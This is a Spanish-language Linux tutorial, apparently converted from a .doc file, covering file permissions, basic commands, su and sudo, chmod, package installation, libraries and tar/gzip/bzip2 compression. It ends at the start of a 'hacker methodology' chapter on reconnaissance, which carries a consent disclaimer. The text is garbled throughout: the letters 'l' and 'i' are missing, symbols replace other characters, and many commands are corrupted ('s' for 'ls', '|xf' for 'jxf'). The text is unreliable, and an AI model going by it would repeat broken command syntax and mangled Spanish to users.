drwxr-xr-x 17 gerry gerry 1040 2008-12-26 09:29 ..
-rwxr-xr-x 1 gerry gerry 4912 1926-01-17 07:51 Lnux CD Lve.txt
-rwxr-xr-x 1 gerry gerry 121344 1926-01-25 07:52 LINUX-UNIX-01.doc
-rwxr-xr-x 1 gerry gerry 35328 1926-01-23 00:06 She Scrpts.doc
S observamos e campo de ms a a zquerda de stado, podemos ver cuatro grupos. E prmero es
de un caracter soamente. Este caracter es una d s e eemento stado es un drectoro, una l s e
eemento es un enace, y un gun 5 s e eemento es un archvo norma.
A contnuacn hay tres grupos. Cada uno de estos grupos tene tres etras, pudendo ser estas rGx o
pudendo ser susttudas en agn caso por un gun. E prmero de estos grupos ndca os permsos
que tene sobre e eemento stado su usuaro dueo; e segundo grupo ndca os permsos que
tenen sobre e eemento os usuaros que pertenezcan a grupo dueo, y e tercer grupo ndca os
permsos que tenen sobre e eemento e resto de usuaros de sstema.
En e caso de un archvo o un enace, a r en cuaquera de estos "grupos" ndca que se tenen
permsos de ectura (read) sobre e eemento. La G ndca que se tenen permsos de escrtura (wrte)
sobre e eemento, y a x ndca que se tenen permsos de e|ecucn (Execute) sobre e eemento. Un
gun susttuyendo a cuaquera de estas etras ndca que no se tene e permso a que est
susttuyendo. As, veamos agn e|empo de stado anteror:
-rwxr-xr-x 1 root root 2872 |un 24 2002 arch
Es un archvo porque su prmer caracter es un gun. Su usuaro dueo es root, y su grupo dueo es
e grupo root tambn. root tene todos os permsos sobre : rwx, esto quere decr que puede eer e
archvo arch, escrbr en y e|ecutaro. E grupo root so o puede eer y e|ecutar, y e resto de
usuaros de sstema, tambn so pueden eero y e|ecutaro.
E caso de os drectoros es un poco dstnto. Los permsos rwx para un drectoro, ndcan: a r y a x
para e caso de un drectoro dfcmente se entenden separadas. Son necesaras para que un
usuaro pueda "examnar" ese drectoro, ver o que tene y navegar por . La w ndca que e usuaro
que posea este permso puede coocar nuevos archvos en este drectoro; as como tambn borraro.
Lo ms comn es que os drectoros que deban poder ser "examnados" por todos os usuaros
tengan permsos r-x en e tercer grupo de permsos. Pero con estos permsos no podrn coocar nada
dentro de ese drectoro, aunque s podrn hacero dentro de un drectoro de nve nferor en e que
s tengan permsos de escrtura.
Consderemos s tenemos, por e|empo, un drectoro amado su&erior2 y dentro de ste tenemos un
drectoro amado &ersonal2, y que un usuaro tenen permsos de escrtura en este segundo
drectoro, que es de nve nferor; para poder acceder a y escrbr, este usuaro debe poseer como
mnmo permsos r-x en e de nve superor, esto es, en superor/.
Por otra parte, esto es absoutamente gco: cmo va a poder escrbr un usuaro en un drectoro s
no puede egar hasta ? Esto msmo tambn se apca para a ectura. Por e|empo, e servdor web
no podr servr un drectoro a a Internet s no dspone de permsos r-x para os drectoros superores
a . En a seccn de comandos veremos como asgnar os permsos con e comando c+mod.
27
omandos en DNEF
E sstema operatvo UNIX tene poco ms de 200 comandos, pero desafortunadamente, no todos se
mane|an en dstrbucones Lnux. E admnstrador y cada uno de os usuaros pueden crear sus
propos comandos escrbndoos en agn engua|e de programacn (C o C++, etc.) o combnando
os ya exstentes dentro de UNIX con programas she scrpts.
Tecleando omandos
Normamente despus de prompt se ntroduce un comando. Cada comando reaza una tarea
especfca, como e|ecutar una apcacn, mprmr un archvo, etc. Los comandos se ntroducen a
contnuacn de prompt segudos de a teca <Enter>; por e|empo:
$ s -Comando que sta e contendo de un drectoro.
Los comandos muestran una ayuda cuando se tecean sn parmetros u opcones. La mayora de os
comandos tenen su manua de uso, con ms nformacn que a que vene con a ayuda de msmo, y
se nvoca con e comando man empeando como parmetro e comando a buscar.
$ man s
Esta estructura nos muestra e manua de uso de comando s.
Ya menconamos que UNIX detecta mayscuas y mnscuas, de ta forma que ls es dferente de L0.
0intaxisH argumentos ) o&ciones
La sntaxs de os comandos de UNIX est estandarzada por o que se deben cumpr certas normas
sencas. La sntaxs es:
comando |opcones| |arg| |arg2| |arg3|
Se componen normamente de tres partes:
E comando propamente dcho o sea su nombre. Las opcones (tambn amadas parmetros o
fags), que defnen dferentes modos o formas en que va a traba|ar e comando. De acuerdo a as
normas de UNIX as opcones deberan ser una etra precedda de un gun (-), aunque hay agunos
comandos que no respetan esta norma.
Se pueden poner, s se requeren, ms de una opcn para a e|ecucn de un comando y se coocan
todas |untas despus de un soo gun:
$ ps -au donde a es una opcn y u es otra.
Los argumentos, que determnan os dstntos datos que va a utzar e comando, como ser e nombre
de un archvo o un drectoro. Las opcones y argumentos pueden no ser necesaros, de hecho hay
comandos que so utzan ya sea opcones o argumentos o ncuso nnguno de eos.
E|empos:
Es comando sn argumentos n opcones
ls 5la comando con opcones
ls I4dat E4ba* comando con argumentos
Es 5ri I4dat comando con opcones y argumentos.
Los programas e|ecutabes que usaremos en este documento, tras ser compados, se usan de msmo
modo que os comandos de UNIX o Lnux.
28
A contnuacn mostramos agunos de os comandos ms usados en UNIX. Hay que consderar que
exsten dversos tpos de UNIX dependendo de frabrcante, as, tenemos:
SunOS Unx y Soars de Sun Mcrosystems
DIGITAL Unx de Compaq
SGI Irx de Scon Graphcs
Y agunos comandos podran desempearse de modo un tanto dferente entre cada uno de eos. La
mayora de os comandos son comunes a Lnux. Aqu nos entretendremos con eos.
Antes de comenzar a practcar con os comandos, debemos asegurarnos que estamos en e drectoro
home, es decr, aque que nos asgn e sstema durante a nstaacn (s es Lnux) o e admnstrador
a a hora de crear a cuenta, ya que en otro drectoro probabemente no tengamos permsos de
escrtura. Una forma de hacer esto es teceando e comando cd (recordemos que os comandos,
mentras no se ndque o contraro, sern teceados en mnscuas) en a consoa de comandos. Esto
nos mover a drectoro home.
-$ cd
gerry@Oranna:-$
Donde gerry es e drectoro home. Oranna es e hostname o nombre de a maquna. S teceamos e
comando hostname, nos dar e nombre de nuestra mquna.
Con e comando &Gd nos nforma a ocazacn de drectoro en e sstema de archvos. No hay que
confundr e nombre de comando con a abrevatura comn de trmno password.
$ pwd
/home/gerry
Usamos e comando touc+ para crear un archvo vaco. S e archvo ndcado no exste en e sstema,
se crear uno vaco; en caso de exstr, se modfca a fecha de tmo acceso a archvo.
$ touch temparchvo
Ahora usaremos e comando ls para verfcar que o hemos creado:
$ s temparchvo
Cuando ntroducmos e comando ls sn opcones, obtendremos un stado de todos os archvos de
drectoro donde nos encontremos y s o teceamos usando como argumento e nombre de archvo,
nos mostrar so e nombre de dcho archvo s este exste.
Se usa e comando c& para copar e archvo que creamos a uno que amaremos copyarchvo:
$ cp temparchvo copyarchvo
Ahora necestamos ver ambos archvos y o hacemos empeando e comodn "*". De este modo, e
comando s *archvo nos star ambos archvos (y cuaquer otro archvo de drectoro cuyo nombre
fnace con archvo):
$ s *archvo
copyarchvo temparchvo
Ntese que os archvos se stan en rguroso orden afabtco (mayscuas y nmeros preceden a as
etras mnscuas).
29
Utzamos e comando c& con a opcn 5r para copar drectoros y os archvos que contenen:
$ cp -r drectoro drectoro2
Tamben podemos mover y renombrar archvos (a msmo tempo) echando mano de comando mv.
En este e|empo, usamos e comando mv para renombrar temparchvo a nadaarchvo:
$ mv temparchvo nadaarchvo
Verfquemos ahora e cambo con e comando s y e comodn:
$ s *archvo
copyarchvo nadaarchvo
Para renombrar o mover drectoros se usa e msmo comando.
Se usa e comando rm para emnar archvos. En este e|empo, borraremos copyarchvo:
$ rm copyarchvo
Advertenca: Nngn archvo borrado podr ser recuperado a menos que exsta agn respado. Por
esta razn, agunas personas preferen crear un aas de comando o un scrpt con opcones que
permtan verfcar a verdadera ntencn de usuaro antes de envar un archvo a ovdo.
E comando cd nos permte movernos por a |erarqua de sstema de archvos:
$ cd /tmp
S teceamos so e comando cd, voveremos a nuestro drectoro home.
Para crear un drectoro o haremos con e comando m*dir segudo de nombre de nuevo drectoro:
$ mkdr newdr
Los omandos su ) sudo
E comando su (Set User) est reaconado con e ogn en e sstema y con os permsos. E uso
prncpa de este comando es que un usuaro norma adquera os permsos de otro usuaro de
sstema (ncudo root) siempre y cuando conozca su password.
Es muy comn que s somos nosotros e "dueo" de a contrasea de root, y por tanto a persona
encargada de a admnstracn de sstema, traba|emos normamente como usuaro norma por
motvos de segurdad. Pero podemos necestar convertrnos en root para aguna tarea especfca:
rencar e servdor web, modfcar a confguracn de sstema... para despus vover a "ser" nuestro
usuaro norma.
Cuando cambamos nuestra naturaeza a root, e smboo de prompt $ camba a %
gerry@Oranna:-$ su
Password: |aqu e password|
root@Oranna:/home/gerry#
E comando su asume que e usuaro actua quere adqurr os permsos de root. S proporconamos e
password adecuado ya os tendremos. Podemos ahora hacer as tareas de admnstracn que
necestemos. Teceando exit voveremos a "ser" nuestro usuaro norma.
30
su nos permte tambn adqurr os permsos de otros usuaros de sstema sempre que tengamos su
password:
yo@maquna $ su otrousuaro
Password: | Password de "otrousuaro" |
otrousuaro@maquna $
otrousuaro@maquna $ ext
yo@maquna $
Exste una dferenca entre su usuario y su 5 usuario y es que, mentras que con e prmer comando
smpemente adqurmos os permsos de usuaro, con e segundo comando es como s estuvsemos
hacendo ogn desde e prncpo con usuaro, as, todas as varabes de entorno y dems sern
cargadas gua que s hubsemos hecho un verdadero ogn. Esto tambn se apca para root (su -)
La she que se arranca medante a segunda forma se ama she de ogn. Samos de eas tambn
con ext.
E usuaro root puede usar su o ben su 5 sn necesdad de ntroducr nngn password para adqurr
en un she os permsos de cuaquer usuaro de sstema.
sudo =0D&eruser DO> es una herrameta que permte otorgar a un usuaro o grupos de usuaros
normaes, prvegos para e|ecutar agunos comandos como root (o como otros usuaros) sn
necesdad de conocer su password. Es posbe que no est nstaado en a dstrbucn de Lnux y
tengamos que nstaaro nosotros msmos.
S quen nvoca e comando es root no requerr tecear e password. De otro modo, sudo requere
autentcacn de usuaro con un password. En este contexto, se haba de password de usuaro, no e
de root. Una vez que e usuaro ha sdo autentcado, podr hacer uso de sudo por 15 mnutos, que es
e tempo por defecto, a menos que se emne esa restrccn desde e archvo de confguracn
sudoers que se encuentra en e drectoro 2etc2sudoers.
E archvo /etc/sudoers tene, en os casos ms smpes, dos partes: una parte de aas y otra parte de
regas. La parte de aas, o que hace es "agrupar" de aguna manera, stas de usuaros y stas de
apcacones (ncuso stas de mqunas de una red). La parte de regas defne qu grupos de
usuaros pueden usar qu grupos de programas con permsos dstntos de os suyos y en qu
condcones pueden hacero.
Hay que notar que e archvo 2etc2sudoers se edta con e comando visudo sendo root, por razones
de segurdad. sudo no atera a estructura de permsos de sstema de archvos de Lnux, es decr, por
muchos cambos que hagamos en e archvo de confguracn de sudo, os permsos de os programas
segurn sendo os msmos. La dferenca est en que estos "permsos especaes" que estamos
otorgando a agunos usuaros se apcan cuando e programa que se quere e|ecutar se nvoca
medante sudo; as, un usuaro que quera e|ectar e programa cdrdao con estos permsos especaes
deber hacero as:
$ sudo cdrdao |opcones|
Esto es o ms bsco que necestamos saber sobre sudo para e|ecutar agunos comandos
cmodamente como usuaro norma a tempo que mantenemos a segurdad de sstema.
Notemos que e comando sudo es una herramenta que nos permte confguracones mucho ms
compe|as que as que hemos vsto aqu; sempre debemos eer sus pgnas de manua de sstema
(man sudo y man sudoers), o vstar su pgna web.
31
omando c+mod
Para cambar os permsos de os eementos de sstema de archvos, usamos e comando chmod.
# chmod -R ABC eemento
La opcn -R es opcona, y cumpe exactamente a msma funcn que en e comando chown. A B y C
son un nmero de una cfra respectvamente. E prmer nmero representa os permsos que estamos
asgnando a usuaro dueo , e segundo os de grupo dueo, y e tercero os de resto de usuaros.
Cada una de as cfras posbes corresponde con os permsos de usuaro en bnaro; aunque es ms
fc aprenderse qu hace cada cfra que pasar a cfra a bnaro cada vez que queramos cambar os
permsos a ago. Agunos e|empos:
E 4 en bnaro es 100, por tanto, os permsos que otorga son r--, esto es, so ectura.
E 5 en bnaro es 101, por tanto, os permsos que otorga son r-x, ectura y e|ecucn.
E 6 en bnaro es 110, por tanto, os permsos que otorga son rw-, ectura y escrtura.
E 7 en bnaro es 111, por tanto, os permsos que otorga son rwx, ectura, escrtura y e|ecucn.
Los permsos de e|ecucn so se otorgarn a programas (bnaros) o scrpts; ya que hacero a os
archvos normaes carece por competo de sentdo. As, un comando de e|empo podra ser:
$ chmod 640 mtexto
Este comando asgnara permsos de ectura y de escrtura a usuaro propetaro, y permsos de
ectura a os usuaros de grupo dueo, y nngn permso a resto de usuaros para e archvo mtexto.
Podemos r hacendo pruebas combnando os dstntos nmeros y ver os permsos que otorgan
medante ls 5l4 Recordemos que os drectoros que deseemos que puedan ser "examnados" deben
tener permsos de "e|ecucn" por parte de os usuaros que uno quera que puedan acceder a eos,
por e|empo podramos asgnaros con e nmero 5. A os que adems quseramos que puedan crear
archvos en ese drectoro, podramos otorgares esos permsos medante e nmero 7. Con a opcn
-R se puede hacer que os permsos se asgnen de modo recursvo a un drectoro y a todo o que hay
deba|o de .
Un modo muy comn para os drectoros que deban ser accesbes por todo e mundo es 755, de
forma que e usuaro dueo pueda adems escrbr. Los drectoros 2+ome2usuario sueen tener
permsos 750 para que e resto de usuaros no puedan acceder a drectoro de traba|o de un usuaro.
Como advertenca hay que decr que una maa asgnacn de permsos puede dar ugar a ataques
ocaes. Verdad, s de|amos a agunos usuaros permsos para modfcar partes mportantes de
sstema de archvos es amar a grtos a os probemas. Sempre hay que tener cudado cuando se
camben permsos, sobre todo s somo root.

Un modo muy comn de aadr permsos de e|ecucn a un archvo (generamente un scrpt) para
todos os usuaros de sstema, sn tener que estar recordando qu nmeros otorgan permsos de
e|ecucn, es usar a opcn +x de chmod, por e|empo:
$ chmod +x m_scrpt.sh
Esta forma de asgnar permsos es extensbe, y segn os casos, ms senca que a de os nmeros.
En genera es as:
$ chmod ABC archvo
Donde A es u (usuaro), g (grupo) o ben a (todos.) Cuando es a, se puede omtr.
B es + o ben - , ndcando e prmero aadr un certo permso y e segundo qutaro.
C es r (ectura), w (escrtura) o ben x (e|ecucn.)
32
E|empos:
$ chmod g+w archvo
$ chmod -r archvo
$ chmod u+x archvo
E prmer comando otorga permsos de escrtura sobre archvo a os usuaros de grupo a que e
archvo pertenece.
E segundo comando emna os permsos de ectura sobre archvo a todo e mundo.
E tercer comando da a usuaro dueo de archvo permsos de e|ecucn.
Nota: Muchos otros comandos tes os remos vendo conforme se ea e documento y se detaen
as uteras que vayamos necestando.
Enstalaci'n de utiler;as
Cuando tengamos que nstaar herramentas en nuestro sstema, utzamos una sere de comandos
para poder empezar a utzar os programas. Reguarmente e software o descargamos empaquetado
en archvos amados tarba. Estos archvos o veremos ms adeante en este captuo.
Instaar software adcona en Lnux es senco, sn embargo, dada a dversdad de dstrbucones y
sstemas de empaquetado de software as utdades que mane|an dchos paquetes son dstntas.
<(todos De Enstalaci'n
A nstaar software adcona para nuestra dstrbucn, nos podemos encontrar con varos sstemas
de paquetes. Exsten cuatro sstemas de paquetes en todas as dstrbucones de Lnux: RPM, DEB,
TGZ y EBUILD. Los tres prmeros son bnaros, y e cuarto se trata de meta-paquetes
Los paquetes bnaros contenen e software ya en cdgo de mquna y pondrn os programas y
archvos de confguracn en e sto adecuado de rbo de drectoros para que os otros paquetes
puedan encontraros. Los sstemas de paquetes bnaros se apoyan en una "base de datos" que
guarda qu paquetes estn nstaados y cues no, a versn de estos, etc... As, cuando nstaamos
un paquete bnaro, ta como un RPM o un DEB, adems de crearse os archvos necesaros para que
e software pueda funconar, se aade a esta base de datos una entrada dcendo que e paquete ha
sdo nstaado y as msmo se guarda su nmero de versn.
Conforme tratemos con estos sstemas de paquetes podr ocurrr que os datos de a base de datos
de paquetes no concdan con o que reamente hay en a mquna. Esto puede ocurrr medante e
borrado accdenta de archvos sn desnstaar adecuadamente un paquete, o confctos de versones.
En cuaquer caso dsponemos de opcones que permten nstaar o desnstaar paquetes, ncuso s a
nformacn de a base de datos de paquetes no es de todo coherente. Adems, exsten comandos
para "reconstrur" o arregar a base de datos de paquetes. Las pgnas man de os programas que se
menconan a contnuacn nos aportarn toda a nformacn que necestemos a respecto.
Adems de os paquetes de nuestra dstrbucn dsponemos de unos paquetes. Estos paquetes
contenen e cdgo fuente preparado para comparse e nstaarse en cuaquer dstrbucn. Por o
genera no es muy dfc. Estos paquetes tenen sus venta|as, entre as que podemos destacar e
contro que adqurmos sobre a nstaacn de paquete y sus bnaros, adems de a posbdad de
hacer agunos cambos en e msmo s nos nteresa (con parches), nstaar software de este modo no
mpca que se guarde nformacn en una base de datos de o que se ha aaddo a sstema, por o
que s e paquete de cdgo fuente no dspone de una opcn para desnstaaro, tendremos que
borrar os archvos a mano uno a uno en caso de querer qutar e software. Esto no es muy comn n
necesaro en a mayora de os casos, porque aunque nstaemos un software, mentras no o estemos
e|ecutando "no nos moesta", e espaco ocupado en dsco suee ser muy pequeo.
33
@inarios 1s4 !uentes
Como se ha nombrado antes, hay que decdr qu mtodo vamos a utzar. En prncpo sempre
deberemos optar por os bnaros de nuestra dstrbucn a no ser que sepamos reamente o que
hacemos. Compar un programa desde as fuentes puede sernos t en mqunas donde se neceste
un rendmento extremo o en casos en que necestemos apcar parches a paquete.
!uentes
En caso de que vayamos a compar un programa por nuestra cuenta o me|or es eer os archvos de
ayuda README e INSTALL de paquete. Para descomprmro haremos (suponendo que e archvo de
fuentes tarba se ha descargado en e drectoro actua):
# tar zxf paquete-verson.tar.gz
S e paquete es un .tar.bz2 haremos:
# tar |xf paquete-verson.tar.bz2
Los pasos "genrcos" son:
# ./confgure
# make
# make nsta
Pero como as cosas pueden cambar entre unos paquetes y otros, o me|or que podemos hacer es
eernos os archvos de documentacn que acompaen a dcho programa.
Nota
Para ms nformacn acerca de qu es un archvo 4tar4g/, 4tar4b/8 y cmo traba|ar con eos, se
expcan detaadamente en e apartado empaquetado y compresores.

Desinstalando Lo Enstalado
Pondremos e comando genrco que hay que e|ecutar s queremos desnstaar un paquete que ya
est nstaado. A veces se nos avsar que otros paquetes dependen de paquete que queremos
qutar; en ese caso, o ms senco es qutar estos paquetes prmero y despus desnstaar e que
queremos qutar. En e drectoro donde se descomprmeron as fuentes e|ecutamos:
# make unnsta
Dtilidades Jr67icas
En e caso de as dstrbucones que usan paquetes bnaros, podemos muchas veces encontrar una
utdad grfca para nstaar y desnstaar paquetes en os mens de nuestros escrtoros. Para poder
usar estas apcacones se nos pedr a contrasea de root. Este tpo de apcacones puede sernos
t en nuestras prmeras etapas con Lnux s necestamos nstaar un paquete y no tenemos tempo
de mrar as opcones. S queremos aprender a usar Lnux, este tpo de apcacones smpemente
sern un recurso de uso espontneo. Lo me|or es famarzarse con as utdades comentadas.
Agunas dstrbucones permten e uso de comando
# apt-get
de que se puede buscar tutoraes en Internet.
34
onsideraciones 0obre 0eguridad
Venmos aprendendo que Lnux es un sstema seguro dado que es mutusuaro, y por eso os
usuaros no prvegados no pueden daar a mquna. Dado o anteror, no es posbe que un usuaro
norma pueda nstaar un vrus en nuestra mquna.
Hasta aqu todo ben, pero hay que darse cuenta de que para nstaar software en a mquna
debemos ser root. Esto quere decr que nstaemos e paquete de software que nstaemos, no se nos
mpondr nnguna restrccn. E nco probema est en que agn paquete de software que
queramos nstaar puede contener vrus o spywares. La nca soucn a este probema es nstaar
sempre software de stos ofcaes o confabes.
Librer;as
Las breras son partes de cdgo usados por muchos programas dferentes. Por esto, muchas veces
agunos paquetes requerrn otros paquetes de tpo b*. Todos os archvos de breras que se
nstaan en e sstema comenzan su nombre por lib debdo a un antguo conveno UNIX.
Los sstemas de paquetes bnaros de as dstrbucones (RPM y DEB) hacen una dstncn con as
breras. Podramos decr que un msmo con|unto de breras, o dvden en dos paquetes, por
e|empo, bncurses y bncurses-deve (o bncurses-dev para Deban.) Para nstaar software
medante paquetes que necesten esta brera, bastara con nstaar generamente so e prmer
paquete. E segundo paquete (-dev en DEBs o -deve en RPMs), se conoce como archvos de
desarroo (deveopment), y es necesaro nstaaro s, por e|empo, vamos a compar desde e cdgo
fuente un paquete que neceste bncurses. Por o tanto, es perfectamente posbe que hacendo un
42con7igure para nstaar desde as fuentes se nos avse de que nos fata bncurses s soamente
tenemos e prmer paquete nstaado.
Ldcon7ig ) <6s 0obre Librer;as
Las breras compadas (ya en cdgo de mquna), estn en /usr/b s se nstaaron desde paquetes
de a dstrbucn, y en /usr/oca/b s se nstaaron desde fuentes, o un subdrectoro de estos dos,
(aunque con e comando ./confgure --hep descurbrremos opcones que nos permten especfcar
tambn dnde queremos que se nstaen tanto os programas como as breras.) Su nombre suee
ser bNOMBRE.so, o ben bNOMBRE.so.VERSION. La extensn .so es smpemente un conveno y es
abrevatura de Shared Ob|ect (Ob|eto Compartdo)
En os sstemas Lnux, a utdad encargada de mane|ar a nstaacn de as breras y proveer a
resto de programas nformacn sobre su ocazacn en e sstema de archvos es dconfg. Esta
utdad tene un archvo de confguracn, /etc/d.so.conf, donde se stan os drectoros que
contenen breras, por e|empo:
# cat /etc/d.so.conf
/usr/kerberos/b
/usr/X11R6/b
/usr/b/qt-3.1/b
/usr/b/mysq
/usr/b/kde3
/usr/oca/b
/usr/b/wne
/usr/b
Aunque muchas veces a nstaacn o har por nosotros, cuando nstaemos nuevas breras
(especamente desde cdgo fuente), es una buena costumbre aadr e drectoro donde se han
copado as breras a este archvo de confguracn (s no est ah), y correr como root e comando
dconfg. S no o hacemos as, es posbe que a ntentar nstaar otros programas desde fuentes, se
nos dga que no puede encontrar ta o cu brera.
35
Em&a-uetado ) om&resores
Antes de empezar con stados de utdades, rutas, bnaros, archvos y nuevos comandos que pueden
asustar a cuaquer prncpante durante e desarroo de este documento, vamos a presentar de una
forma genera os archvos en que venen empaquetados o comprmdos as herramentas.
Supongamos que tenemos certos datos que queremos guardar, empaquetar o comprmr para
evaros a una undad de respado (backup), para envaros por correo eectrnco, para ad|untaros a
un traba|o o smpemente para tener una copa de segurdad de ago sobre o que vamos a traba|ar.
g/i& ) b/i&8
En e mundo UNIX predomnan dos agortmos de compresn de datos dstntos; estos son g/i& y
b/i&8. Ambos son muy efcentes y nade puede decr que uno sea me|or que otro. Presentan grandes
dferencas nternas, eso s, pero a nve de usuaro o que podemos decr es que bzp2 comprme
ms, sn embargo consume defntvamente ms recursos que gzp para comprmr/descomprmr e
msmo archvo.
tar
Hstrcamente, en e unverso de Unx se ha usado mucho a utdad tar para envar backups a
dspostvos de cnta. tar se encarga de unr un con|unto de archvos en uno soo. En prncpo tar no
provee compresn aguna ya que o "nco" que hace es poner un archvo a contnuacn de anteror
ponendo en medo unos separadores. Aunque a expcacn no es muy rgurosa, nos vae para
entender e porqu de a exstenca de tar hoy en da.
Los agortmos de compresn que hemos ctado antes (bzp2 y gzp) soo son capaces de operar
sobre un archvo; es decr, toman un archvo de entrada y generan un archvo comprmdo. No
pueden tomar como entrada un drectoro o varos archvos a a vez. Por eso es mportante tar. Con a
ayuda de tar podemos convertr todo un drectoro en un soo archvo y una vez que tenemos ese
archvo generado, apcare uno de os agortmos de compresn.
Dtilidades &ara la l;nea de comandos
Cuaquer dstrbucn moderna de Lnux ncur tanto e comando tar como os paquetes con as
breras y as herramentas para comprmr y descomprmr archvos gzp y bzp2. Adems,
actuamente tar est muy ntegrado con ambos agortmos de compresn y nos evta tener que
utzar comandos ago ms compcados para comprmr y descomprmr archvos
Los comandos que usaremos en esta seccn son: tar, gunzp, gzp y bzp2. Como podemos ver son
nombres muy ntutvos. Ya tenemos todo sto para empezar a comprmr y descomprmr archvos y
drectoros. Lo prmero que haremos ser eegr un archvo a comprmr; por e|empo, /etc/passwd.
om&rimir ) Descom&rimir Dn 0olo Arc+ivo
Para comprmr e archvo que hemos escogdo con gzp haremos:
$ gzp -c /etc/passwd > passwd.gz
Esto habr de|ado un archvo amado passwd.gz en e drectoro donde e|ecutamos e comando.
Ahora podemos probar a descomprmro y a comprobar s todo fue ben
$ gunzp passwd.gz
$ dff /etc/passwd passwd
$
Es muy mportante notar que e comando gunzp passwd.gz ha borrado de drectoro e archvo
passwd.gz.
36
Para hacer ago parecdo con bzp2, podemos hacero as:
$ bzp2 -c /etc/passwd > passwd.bz2
$ bzp2 passwd.bz2
$ dff /etc/passwd passwd
$
om&rimir ) Descom&rimir Directorios om&letos
Como ya hemos comentado antes, nnguno de os dos agortmos de compresn que veremos
soporta traba|ar sobre varos archvos a a vez; s no que su entrada ser un nco archvo sobre e
que se apcar a compresn. S queremos comprmr drectoros enteros o que tenemos que hacer
es utzar tar para crear un soo archvo a partr de varos a base de concatenaros.
Para crear un nco archvo a partr de un drectoro podemos hacer o sguente:
$ tar cf drectoro.tar drectoro/
Obtendremos en e drectoro un archvo drectoro.tar que contene todo e arbo de drectoros que
hubera cogando de drectoro/. S queremos comprmr este archvo o podemos hacer como hemos
vsto antes:
$ gzp drectoro.tar
Y tendremos un archvo amado drectoro.tar.gz que contendr todo e arbo de drectoros que
orgnamente cogaba de drectoro/. Lo msmo podramos haber hecho utzando e comando bzp2
en ugar de gzp s queramos utzar e agortmo bzp2.
Para desempaquetar e archvo drectoro.tar o podemos hacer con e sguente comando:
$ tar xf drectoro.tar
Todo Aunto
Como ya hemos comentado antes, actuamente tar est muy ntegrado tanto con gzp como con bzp
y podemos comprmr y descomprmr drectoros enteros con soo un comando.
Adems de ensear cmo comprmr de forma smpe, tamben vamos a mostrar cmo bzp2
comprme normamente ms que gzp a costa de usar ms recursos y tempo. Como prueba
utzaremos e drectoro que contene e cdgo fuente de este manua ya que as, e ector podr
repetr estos comandos y obtendr resutados muy smares.
Para comprmr un drectoro con tar o hacemos as:
$ tar zcf manua-cvs.tar.gz manua
$ tar |cf manua-cvs.tar.bz2 manua
Ntese que se usa 'z' para gzp y '|' para bzp2

Para ver a dferenca de tamaos podemos usar ls 5l
$ s - manua-cvs.tar.*
-rw-r--r-- 1 |ummy |ummy 331236 sep 18 03:11
manua-cvs.tar.bz2
-rw-r--r-- 1 |ummy |ummy 477033 sep 18 03:13
manua-cvs.tar.gz
37
Como podemos ver, e archvo comprmdo con bzp2 ocupa bastante menos que e msmo
comprmdo con gzp; sn embargo, quz e ector pudo notar que a operacn con bzp2 tard ms
tempo en competarse.
Por tmo veremos cmo descomprmr os archvos que tenemos:
$ tar zxf manua-cvs.tar.gz
$ tar |xf manua-cvs.tar.bz2
Se usa 'z' para gzp y '|' para bzp2

S soo queremos extraer un archvo o drectoro de archvo comprmdo o podemos hacer ndcando
e nombre |usto a fna de comando; por e|empo:
$ tar |xf manua-cvs.tar.bz2 manua.xm
$ s manua.xm
manua.xm
Descom&rimiendo Otros !ormatos
Es muy tpco querer comprmr/descomprmr otros formatos que son muy utzados en e mundo
Wndows como os zp o os rar. Lo prmero que hay que decr es que Lnux SI puede descomprmr
estos formatos; pero as utdades que o hacen no son bres.
Para descomprmr un archvo zp vamos a utzar e comando unzp y para descomprmr os archvos
rar utzaremos e unrar. Y exste una utdad para os archvos ace, e unace y hay que descargaro
de su pgna ofca www.wnace.com
$ unzp archvo.zp
$ unrar archvo.rar
Como ya hemos menconado antes, estas utdades no son bres, pero son gratutas para uso
persona. No tenemos acceso a cdgo fuente, por o que deberamos evtar utzar estos formatos
para comprmr nuestros archvos.
Espero que con este captuo se anme e ector a aprender ms sobre UNIX y Lnux. Instaar Lnux es
de o ms fc y nos ayudar a comprender mucho me|or como se gestonan os archvos de sstema
y factar e entendmento de os procesos evados a cabo por as herramentas que vamos a
mane|ar durante todo este documento.
38
Metodooga de Hacker
Todo experto en nformtca est a tanto de que exsten dos formas de romper a segurdad de una
computadora. Una de eas no tene vctma predefnda o preestabecda. Puede consstr en envar un
vrus, un troyano, o o que es peor, un rootkt. Tambn se puede montar un servdor web pornogrfco
o de warez
9
que descargue cdgo macoso a a mquna de cuaquer ngenuo desprotegdo. Hay
quenes gustan de navegar por a gran red en busca de servdores que tengan una segurdad mnma
y que pueda ser penetrada fcmente. Aunque sta tcnca es muy usada, en readad no es muy
adecuada como cuaquer hacker te sabe. Adems, carece de sentdo andar por ah husmeando y
aprovechndose de as vunerabdades de os sstemas a|enos.
La me|or tcnca es e marcarse una meta y acanzara cumpendo con una sere de ob|etvos. Una
web, un servdor !TP o una cave de correo. Se deben enfocar todos os sentdos en un punto en
especfco e ntentar buscar os huecos de segurdad que puderan exstr, antes de que otros, con no
muy buenas ntencones o hagan. FTP (Fe Transfer Protoco, Protocoo de Transferenca de Archvos)
es e servco de Internet utzado para transferr un archvo de datos desde e dsco de una
computadora haca e dsco de otra, sn mportar e tpo de sstema operatvo. Su puerto
correspondente es e 21. De manera smar a otras apcacones de Internet, FTP utza e enfoque
cente-servdor. Los servdores FTP que permten "anonymous FTP" (FTP annmo), de|an a cuaquer
usuaro, no soo a quen tenga una cuenta en e host, navegar por os archvos "ftp" y poder
descargar datos. Exsten agunos servdores FTP que se confguraron para permtr a os usuaros
subr archvos. Un uso muy comn de FTP es recuperar nformacn y obtener software amacenados
en stes de todo e mundo.
Exste una metodooga a segur para ograr os ob|etvos panteados prevamente. Requere de unos
pasos defndos que ya se han convertdo en un estndar a a hora de poner a prueba a ntrusn a
un sstema. Hasta se puede generar un reporte donde se detaen as vunerabdades.
Para desarroar cuaquer tarea compcada, se necesta un proceso de preparacn, un orden y una
metodooga de traba|o. Buscar errores en servdores requere a aportacn de una gran cantdad de
esfuerzo y efectuar una sere de pruebas. Satarse estos pasos puede traducrse en prdda de datos
esencaes.
Todas as actvdades que se descrbrn a contnuacn tenen como fnadad prncpa efectuar
comprobacones de nve de segurdad de nuestros propos servdores y no deben nunca ser usadas
sn consentmento contra otras computadoras que no nos pertenezcan.
345 @9s-ueda de En7ormaci'n
Una cauteosa bsqueda de sstemas y recopacn de nformacn es e prmer paso antes de
ponerse a expermentar. Debe comprobarse qu mqunas componen e sstema y qu rango de
dreccones IP ocupan. Esto nos dar una dea de acance y a compe|dad de traba|o que va a ser
